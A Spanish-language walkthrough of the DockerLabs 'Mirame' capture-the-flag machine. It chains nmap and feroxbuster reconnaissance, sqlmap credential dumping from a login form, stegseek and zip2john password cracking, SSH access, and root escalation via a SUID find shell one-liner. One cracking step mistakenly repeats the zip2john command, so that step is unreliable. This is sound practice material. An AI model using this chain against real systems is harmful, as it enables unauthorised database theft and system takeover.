Mirame
🚀Preparación del Entorno
El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:
📌 Paso 1: Descargar el archivo CTF
Descarga el archivo ZIP del CTF que deseas utilizar.
📌 Paso 2: Descomprimir el archivo
Ejecuta el siguiente comando en la terminal:
unzip [nombre].zip
📂 Esto extraerá los siguientes archivos:
auto_deploy.sh(script de despliegue).[nombre].tar(imagen de la máquina virtual).
📌 Paso 3: Ejecutar el script de despliegue
Para iniciar el despliegue de la máquina virtual, ejecuta:
sudo bash auto_deploy.sh [nombre].tar
🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.
🎯Resolución
🔍 Reconocimiento
Comenzamos determinando si el objetivo es Windows o Linux enviando paquetes ICMP:
ping -c 3 172.17.0.2

📌 El valor TTL=64 → Linux
Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
-
-sVC: Escaneo de versiones de servicios y ejecución de scripts. -
-p-: Escanea todos los puertos (1-65535). -
-n: Desactiva la resolución DNS. -
--min-rate 5000: Envía paquetes a una tasa mínima de 5000 por segundo para acelerar el escaneo.

🔍 Servicios detectados: -
🔐 SSH en el puerto
22 -
🌐 HTTP en el puerto
80
🔍 Inspección manual del sitio en http://172.17.0.2:
Navegamos a http://172.17.0.2 y encontramos un login interesante:

🕵️Análisis de vulnerabilidades
Hacemos un escaneo de directorios y de todos los ficheros
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -e -x php,txt,html,jpg,js -u http://172.17.0.2/

📌 Archivos encontrados:
-
index.php -
/page.php, -
/auth.php
🔍 En page.php, al escribir una ciudad, muestra su 🌡️ temperatura:

📌 Volvemos al login para analizar posible inyección SQL:
sqlmap --url "http://172.17.0.2/index.php" --forms --dbs --batch
✅ ¡Vulnerabilidad detectada! Se obtienen 2 bases de datos:

🎯 Explotación
🔓 Exploramos las tablas de la base de datos users:
sqlmap --url "http://172.17.0.2/index.php" --forms -D users --tables --batch
📂 Tabla encontrada: usuarios

Consultamos las credenciales guardadas en esa tabla:
sqlmap --url "http://172.17.0.2/index.php" --forms -T usuarios --columns --batch

Ahora indicamos que queramos ver el usuario y la contraseña
sqlmap --url "http://172.17.0.2/index.php" --forms -D users -T usuarios -C username,password --dump --batch
📌 Uno de los usuarios llama la atención: directoriotravieso
Ingresamos a:
http://172.17.0.2/directoriotravieso/
📸 Encontramos una imagen sospechosa, la descargamos:


Intentamos extraer contenido oculto:
steghide info miramebien.jpg
🔐 Nos pide contraseña, así que probamos fuerza bruta:
stegseek miramebien.jpg /usr/share/wordlists/rockyou.txt
✅ Contraseña descubierta: chocolate 🍫

Extraemos el contenido:
steghide extract -sf miramebien.jpg -p chocolate
🗜️ Aparece un archivo comprimido: ocultito.zip. Al descomprimir, pide contraseña. Como ninguna funciona, crackeamos el hash del ZIP:
zip2john ocultito.zip > hash_zip.txt
y luego crackeamos con
zip2john ocultito.zip > hash_zip.txt
🔓 Contraseña encontrada: stupid1

Descomprimimos:
unzip ocultito.zip
📄 Dentro encontramos credenciales para SSH:

ssh carlos@172.17.0.2
✅ ¡Acceso concedido como carlos!

📈 Escalada de privilegios
Verificamos los permisos sudo:
sudo -l
❌ No hay comandos permitidos, así que buscamos binarios con el bit SUID:
find / -type f -perm -4000 2>/dev/null
📌 Binario interesante: find

Consultamos nuevamente en la página de GTFOBins para ver cómo escalar privilegios utilizando el comando find.
find . -exec /bin/sh -p \; -quit
